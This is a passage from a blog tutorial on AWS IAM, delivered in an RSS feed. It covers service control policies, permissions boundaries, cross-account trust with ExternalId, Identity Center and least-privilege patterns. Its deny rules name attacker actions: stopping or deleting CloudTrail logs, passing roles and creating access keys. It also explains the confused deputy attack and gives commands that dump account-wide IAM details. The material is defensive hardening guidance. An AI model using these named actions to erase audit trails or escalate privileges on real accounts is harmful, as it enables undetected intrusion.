  --policy-arn arn:aws:iam::123456789012:policy/LambdaS3ReadPolicy
</code></pre>
<h3 id="service-control-policies-org-wide-guardrails">Service Control Policies — org-wide guardrails</h3>
<p>SCPs attach to AWS Organization OUs or accounts. They define the maximum permissions any identity in that scope can have. They cannot grant — only restrict.</p>
<p>Two SCPs I apply to every account from day one:</p>
<pre><code class="" data-line="">// Region restriction — blast radius control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: &quot;*&quot;,
    &quot;Resource&quot;: &quot;*&quot;,
    &quot;Condition&quot;: {
      &quot;StringNotEquals&quot;: {
        &quot;aws:RequestedRegion&quot;: [&quot;ap-south-1&quot;, &quot;us-east-1&quot;, &quot;eu-west-1&quot;]
      }
    }
  }]
}
</code></pre>
<pre><code class="" data-line="">// Protect the audit trail — anti-forensics control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: [
      &quot;cloudtrail:StopLogging&quot;,
      &quot;cloudtrail:DeleteTrail&quot;,
      &quot;cloudtrail:UpdateTrail&quot;
    ],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<p>The region restriction limits where compromised credentials can operate. The CloudTrail restriction means even an <code class="" data-line="">AdministratorAccess</code> compromise cannot erase the audit trail. The attacker knows they&#8217;re being logged and cannot stop it. This is the authorization layer — understanding <a href="/authentication-vs-authorization-iam/">authentication vs authorization</a> makes clear why SCPs operate at Gate 2, not Gate 1.</p>
<h3 id="permissions-boundaries-identity-level-ceilings">Permissions boundaries — identity-level ceilings</h3>
<p>A permissions boundary sets the maximum permissions for a specific user or role. Effective permissions are the <strong>intersection</strong> of what the boundary allows and what identity-based policies grant.</p>
<pre><code class="" data-line="">Boundary allows:  s3:*, dynamodb:*
Identity policy:  s3:*, ec2:*
──────────────────────────────────
Effective:        s3:*             ← the intersection only
</code></pre>
<pre><code class="" data-line="">// Boundary: this role can use at most S3 and DynamoDB
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:*&quot;, &quot;dynamodb:*&quot;],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<pre><code class="" data-line="">aws iam put-role-permissions-boundary \
  --role-name DevTeamRole \
  --permissions-boundary arn:aws:iam::123456789012:policy/DevTeamBoundary
</code></pre>
<p>I use permissions boundaries for safe IAM delegation. When a dev team needs to create their own roles for their services, I give them <code class="" data-line="">iam:CreateRole</code> and <code class="" data-line="">iam:AttachRolePolicy</code> — but require any role they create to have a specific boundary. They can self-service IAM without accidentally creating a role more powerful than their team should have.</p>
<hr />
<h2 id="how-aws-cross-account-iam-trust-works">How AWS Cross-Account IAM Trust Works</h2>
<p>AWS accounts are IAM isolation boundaries. An identity in Account A has zero access to Account B by default. Cross-account access requires explicit trust in both directions.</p>
<pre><code class="" data-line="">Account B creates a role with a trust policy naming Account A&#039;s identity.
Account A&#039;s identity has permission to call sts:AssumeRole on that role.
</code></pre>
<pre><code class="" data-line="">// Account B: trust policy on the cross-account role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;AWS&quot;: &quot;arn:aws:iam::ACCOUNT_A_ID:role/DeployPipelineRole&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: { &quot;sts:ExternalId&quot;: &quot;unique-external-id-12345&quot; }
    }
  }]
}
</code></pre>
<pre><code class="" data-line=""># Account A: the pipeline assumes the cross-account role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT_B_ID:role/DeployTarget \
  --role-session-name pipeline-deploy \
  --external-id unique-external-id-12345

# Export the temporary credentials and operate in Account B
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls s3://account-b-bucket/
</code></pre>
<p>The <code class="" data-line="">ExternalId</code> condition prevents the <strong>confused deputy</strong> attack. Without it, if you operate a service that assumes roles on behalf of customers, an attacker who knows your service&#8217;s ARN can trick it into assuming their customer&#8217;s role.</p>
<p>The ExternalId is a shared secret proving the party requesting assumption is the one who established the trust. Always include it for third-party cross-account trust.</p>
<hr />
<h2 id="aws-iam-identity-center-federated-human-access-without-static-keys">AWS IAM Identity Center: Federated Human Access Without Static Keys</h2>
<p>IAM Identity Center (formerly AWS SSO) is the modern answer to &#8220;how do engineers access AWS accounts?&#8221; It federates an external IdP and maps your organization&#8217;s groups to Permission Sets.</p>
<pre><code class="" data-line="">  Okta / Google Workspace / Entra ID
    ↓ SAML 2.0 or OIDC
  IAM Identity Center
    ↓ Permission Sets (collections of policies)
  Account Assignments (group → permission set → account)
    ↓
  Temporary credentials in each target account (no long-lived keys)
</code></pre>
<pre><code class="" data-line=""># Configure CLI access via Identity Center
aws configure sso
# Prompts: SSO start URL, region, account, role

# Login — browser opens for IdP auth
aws sso login --profile prod-admin

# Use normally — credentials are temporary and auto-refreshed
aws s3 ls --profile prod-admin
aws ec2 describe-instances --profile prod-admin
</code></pre>
<p>When someone leaves the organization: disable them in your IdP. Their SSO session expires, their temporary credentials expire, access is gone. That&#8217;s it — no access key hunting across 20 accounts.</p>
<hr />
<h2 id="aws-iam-patterns-for-production-what-survives-scale">AWS IAM Patterns for Production: What Survives Scale</h2>
<h3 id="one-role-per-service-never-share">One role per service — never share</h3>
<p>Every Lambda, ECS task, and EC2 application gets its own role. Even two Lambdas doing similar things. The moment you share a role, its permissions are the union of what each consumer needs — and a compromise of one consumer exposes the full union.</p>
<pre><code class="" data-line=""># Dedicated execution role — specific to this function&#039;s actual needs
aws iam create-role \
  --role-name lambda-invoice-processor-role \
  --assume-role-policy-document \
  &#039;{&quot;Version&quot;:&quot;2012-10-17&quot;,&quot;Statement&quot;:[{&quot;Effect&quot;:&quot;Allow&quot;,&quot;Principal&quot;:{&quot;Service&quot;:&quot;lambda.amazonaws.com&quot;},&quot;Action&quot;:&quot;sts:AssumeRole&quot;}]}&#039;

aws iam put-role-policy \
  --role-name lambda-invoice-processor-role \
  --policy-name InvoiceProcessorPolicy \
  --policy-document file://lambda-invoice-processor-policy.json
</code></pre>
<h3 id="iam-escalation-guardrail">IAM escalation guardrail</h3>
<p>Any role that isn&#8217;t an explicit IAM admin should have a guardrail blocking escalation actions:</p>
<pre><code class="" data-line="">{
  &quot;Sid&quot;: &quot;DenyIAMEscalation&quot;,
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: [
    &quot;iam:CreateUser&quot;, &quot;iam:CreateRole&quot;, &quot;iam:AttachRolePolicy&quot;,
    &quot;iam:PutRolePolicy&quot;, &quot;iam:PassRole&quot;, &quot;iam:CreateAccessKey&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {
      &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::123456789012:role/InfraAdminRole&quot;
    }
  }
}
</code></pre>
<p>Even if a role gets over-permissioned, it cannot create users, escalate its own privileges, or pass roles to expand its access. Defense in depth against the privilege escalation paths covered in <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a>.</p>
<h3 id="least-privilege-with-tag-conditions">Least privilege with tag conditions</h3>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;ec2:StartInstances&quot;, &quot;ec2:StopInstances&quot;, &quot;ec2:RebootInstances&quot;],
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringEquals&quot;: {
      &quot;aws:ResourceTag/Environment&quot;: &quot;dev&quot;,
      &quot;aws:ResourceTag/Owner&quot;: &quot;${aws:username}&quot;
    }
  }
}
</code></pre>
<p>A developer can control EC2 instances in dev — specifically the ones tagged as theirs. Not prod. Not someone else&#8217;s instances. ABAC layered on a role, eliminating a class of privilege escalation through direct resource access.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — SCPs don&#039;t apply to the management account          ║
║                                                                      ║
║  SCPs are applied to member accounts and OUs — not to the org      ║
║  management account. Guardrails you apply to member accounts do    ║
║  not protect the management account itself.                         ║
║                                                                      ║
║  Fix: lock down the management account separately. Use it only for  ║
║  billing and org management. Never run workloads in it.             ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary ≠ policy grant                 ║
║                                                                      ║
║  A boundary that allows s3:* does NOT grant S3 access. The         ║
║  boundary is a ceiling. Effective permissions are the intersection  ║
║  of boundary + identity policy. Both must explicitly Allow.         ║
║                                                                      ║
║  Fix: after setting a boundary, check effective permissions with:   ║
║  aws iam simulate-principal-policy                                  ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — Cross-account trust without ExternalId              ║
║                                                                      ║
║  A trust policy that names any principal from Account A without     ║
║  ExternalId can be exploited if you operate a multi-tenant service. ║
║  An attacker can craft a request that tricks your service into      ║
║  assuming a victim&#039;s role (confused deputy).                        ║
║                                                                      ║
║  Fix: always add ExternalId condition to third-party trust policies.║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 4 — iam:* on * in CI/CD role                           ║
║                                                                      ║
║  &quot;The pipeline needs to create roles&quot; is a legitimate requirement.  ║
║  Granting iam:* on * is not. It lets the pipeline create any role  ║
║  with any permissions — effectively full account access.            ║
║                                                                      ║
║  Fix: grant specific iam: actions, require all created roles to     ║
║  carry a permissions boundary. Delegate without escalating.         ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌───────────────────────────┬───────────────────────────────────────────────────────────┐
│ Term                      │ What it is                                                │
├───────────────────────────┼───────────────────────────────────────────────────────────┤
│ IAM User                  │ Permanent identity with long-lived credentials — legacy   │
│ IAM Role                  │ Assumable identity; STS issues temp creds — preferred     │
│ Trust policy              │ Who can assume this role (separate from permissions)      │
│ Instance profile          │ Container that attaches a role to an EC2 instance        │
│ AWS Managed policy        │ Broad, maintained by AWS — avoid in production           │
│ Customer Managed policy   │ You own it, you scope it — correct default               │
│ Inline policy             │ 1:1 binding, non-reusable — use only when intentional    │
│ SCP                       │ Org-level guardrail; constrains, does not grant          │
│ Permissions boundary      │ Identity-level ceiling; intersection with policy = effective│
│ Session policy            │ Restricts a specific role assumption session             │
│ ExternalId                │ Shared secret in cross-account trust — prevents confused deputy│
│ IAM Identity Center       │ Federated human access via SSO; no long-lived keys       │
│ Permission Set            │ Policy collection in Identity Center → becomes role in account│
└───────────────────────────┴───────────────────────────────────────────────────────────┘

Commands to know:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # Simulate a policy before deploying — will this call succeed?                      │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/MyRole \                            │
│    --action-names s3:GetObject \                                                      │
│    --resource-arns arn:aws:s3:::my-bucket/*                                          │
│                                                                                        │
│  # Full IAM snapshot of the account — all users, roles, policies, groups            │
│  aws iam get-account-authorization-details --output json &gt; iam-snapshot.json         │
│                                                                                        │
│  # Find unused permissions — what does this role actually call?                      │
│  aws iam generate-service-last-accessed-details \                                     │
│    --arn arn:aws:iam::ACCOUNT:role/MyRole                                            │
│  aws iam get-service-last-accessed-details --job-id JOB_ID                           │
│                                                                                        │
│  # List all access keys and their age                                                │
│  aws iam list-users --query &#039;Users[].UserName&#039; --output text | \                    │
│    xargs -I{} aws iam list-access-keys --user-name {}                               │
│                                                                                        │
│  # Check effective permissions boundary on a role                                    │
│  aws iam get-role --role-name MyRole \                                               │
│    --query &#039;Role.PermissionsBoundary&#039;                                                │
│                                                                                        │
│  # Assume a cross-account role                                                       │
│  aws sts assume-role \                                                                │
│    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \                   │
│    --role-session-name deploy-session \                                               │
│    --external-id your-external-id                                                    │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>AWS IAM is the most widely deployed cloud IAM system; this covers the full model</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>Policy evaluation logic is the foundation for cloud security assessments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access control policy in AWS — SCPs, identity-based policies, resource-based policies</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>User and role provisioning, permission boundaries, Identity Center assignments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>IAM Identity Center, SCPs as org-level guardrails, least-privilege role design</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>AWS IAM is the primary technical control for CC6.1 in AWS-hosted environments</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Identity Center with federation enables auditable access provisioning and removal</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.6</td>
<td>Cross-account trust relationships and ExternalId address third-party access controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>IAM users with static access keys are legacy for human access — use IAM Identity Center with federation; static keys are a persistent finding</li>
<li>Roles issue temporary credentials and are the right identity for every service — Lambda, EC2, ECS, CI/CD, cross-account</li>
<li>Trust policy controls who can assume a role; permission policy controls what the role can do — debug both when access fails</li>
<li>SCPs cap maximum permissions at org level and cannot be overridden — use them for region restriction and audit trail protection; they do not apply to the management account</li>
<li>Permissions boundaries cap at identity level — effective permissions are the intersection with identity-based policies, not the union</li>
<li>Cross-account trust without <code class="" data-line="">ExternalId</code> is vulnerable to confused deputy — always include it with third-party trust</li>
<li>One role per service; share nothing — a shared role&#8217;s blast radius is the union of every consumer&#8217;s required permissions</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 moves to GCP IAM — a fundamentally different model where the resource hierarchy drives access inheritance. A misconfiguration at the folder level affects every project below it. We&#8217;ll cover why <code class="" data-line="">roles/editor</code> keeps appearing in production audits and how to build a GCP IAM structure that composes correctly up the hierarchy.</p>
<p>Get the GCP IAM deep dive in your inbox when it publishes → https://linuxcent.com/subscribe</p>
<p><em>Next: <a href="/gcp-iam-deep-dive/">GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</a></em></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&#038;title=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" data-a2a-url="https://linuxcent.com/aws-iam-deep-dive/" data-a2a-title="AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained"></a></p><p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/aws-iam-deep-dive/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1459</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-31 17:11:19 by W3 Total Cache
-->